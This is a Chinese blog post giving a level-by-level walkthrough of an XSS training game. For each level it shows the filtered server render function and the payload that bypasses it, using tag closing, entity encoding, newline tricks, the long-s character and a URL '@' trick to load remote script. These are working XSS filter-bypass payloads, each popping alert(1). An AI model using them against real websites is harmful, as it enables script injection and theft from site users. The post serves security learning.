Ethan's Blog

Xss小游戏通关秘籍

字数统计: 1.8k阅读时长: 8 min
2019/07/23 Share

题记

最近发现一个xss的攻防网站,界面很有意思,很适合寓教于乐。于是玩了一下午,特此记录下来!xss姿势众多,所以每关也只是给了一部分示例!

正文

0x00

server code:

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

input code:

1
<script>alert(1)</script>

第一关,没啥说的,没有任何过滤,直接输出到了js里面。

0x01

server code:

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

input code:

1
</textarea><script>alert(1)</script><textarea>

这一关闭合textarea标签即可

0x02

server code:

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

input code:

1
"><script>alert(1)</script><a "
1
"><svg/onload=alert(1)></div>

此关闭合双引号即可!

0x03

server code:

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

input code:

1
<script>alert`1`</script>

这里过滤括号,可以使用反引号绕过,当然可以使用html实体编码绕过

1
<svg><script>alert&#40;1&#41;</script>

0x04

server code:

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

input code:

1
<svg><script>alert&#40;1&#41;</script>

在上题基础上加了个反引号过滤,html实体编码绕过

0x05

server code:

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

input code:

1
2
3
--!>
<script>alert(1)</script>
<!--

将html的–>注释符替换成笑脸…并且输出在html注释中。使用–!>绕过并跳出注释,html注释:或者

0x06

server code:

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

input code:

1
2
   onmousemove
=alert(1)

过滤以auto开头或者on开头,=等号结尾的标签属性并替换成_,且忽略大小写。这里使用换行绕过。

0x07

server code:

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

input code:

1
2
1、<svg/onload='alert(1)'
2、<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;

正则匹配了<开头,>结尾的标签字符串,且忽略大小写,并将其替换成空。利用浏览器容错性,去掉>闭合绕过。

0x08

server code:

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

input code:

1
2
3
1、</style ><script>alert(1)</script>
2、</style
><script>alert(1)</script>

将标签替换成/ \u574F\u4EBA /,忽略大小写;在标签>闭合前加空格绕过;在标签>闭合前换行绕过;

0x09

server code:

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

正则匹配以https://www.segmentfault.com开头的输入,若无匹配返回失败。输出正则匹配字符,闭合script标签,注释掉最后的">来绕过。

input code:

1
https://www.segmentfault.com"></script><script>alert(1)</script>//

0x0A

server code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

在上一题的基础上加了许多过滤;输入点在<script>标签的src属性中,可以直接引入远端js文件绕过。
alert(1)的js官方提供地址:https://xss.haozi.me/j.js。利用URL的@特性引入js,过滤后的html实体编码在html标签属性值中无影响,直接解析。

input code:

1
https://www.segmentfault.com@xss.haozi.me/j.js

0x0B

server code:

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

这一关调用函数将输入全部大写。html标签大小写无影响,可以直接引入外部js文件绕过。js严格区分大小写,但在html标签内可以使用html实体编码绕过;

input code:

1
2
1、<script src="https://xss.haozi.me/j.js"></script>
2、<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

0x0C

server code:

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

同上题的基础上过滤了script标签,忽略大小写且替换为空。由于只过滤一次,可以直接在script中插入script绕过。当然也可以采用html实体编码绕过。

input code:

1
<scscriptript src="https://xss.haozi.me/j.js"></scscriptript>

0x0D

server code:

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

正则匹配</“‘号,且替换为空,同时输入点在//注释后;由于输入点在script标签内,完全可以直接alert,使用换行绕过//注释行,弹窗后换行再行注释’);由于过滤了/,即//和/**/的js注释失效,可以使用html注释–>闭合绕过;

input code:

1
2
alert(1);
-->

0x0E

server code:

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

正则匹配<开头的字符串,替换为<_字母,且将输入全部大写。由于匹配了<+字母,即所有标签全部gg,并别提之后的绕过大写,这里查资料发现ſ 古英语中的s的写法(ſ不等于s)。

input code:

1
<ſcript src="https://xss.haozi.me/j.js"></script>

0x0F

server code:

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

将一些字符进行实体编码,输入点在console.error中;由于题目使用的是img标签,所有输入在标签内,而过滤的又将其转为html实体编码,所以无影响…闭合’单引号和)括号,在img中的onerror属性中alert;

input code:

1
');alert('1

0x10

server code:

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

这一关没什么意义,只需闭合输出;

input code:

1
'1';alert(1)

0x11

server code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

过滤一些字符;输入点在自定义参数的字符串值中,/替换为//,但”双引号过滤后的/“正好将/引入在内,过滤形同虚设…

input code:

1
"),alert(1)//

0x12

server code:

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

匹配”双引号,并替换为\“;由于输入点在script标签外,则不能考虑html实体编码;”替换成\“,在实际输出中可以在添一个\来转义掉第一个\绕过;

input code:

1
\");alert(1);//

END

部分题目实用性不大,但是作为寓教于乐的教材,还是不错的,最后贴出网站地址:https://xss.haozi.me/

CATALOG
  1. 1. 题记
  2. 2. 正文
    1. 2.1. 0x00
    2. 2.2. 0x01
    3. 2.3. 0x02
    4. 2.4. 0x03
    5. 2.5. 0x04
    6. 2.6. 0x05
    7. 2.7. 0x06
    8. 2.8. 0x07
    9. 2.9. 0x08
    10. 2.10. 0x09
    11. 2.11. 0x0A
    12. 2.12. 0x0B
    13. 2.13. 0x0C
    14. 2.14. 0x0D
    15. 2.15. 0x0E
    16. 2.16. 0x0F
    17. 2.17. 0x10
    18. 2.18. 0x11
    19. 2.19. 0x12
    20. 2.20. END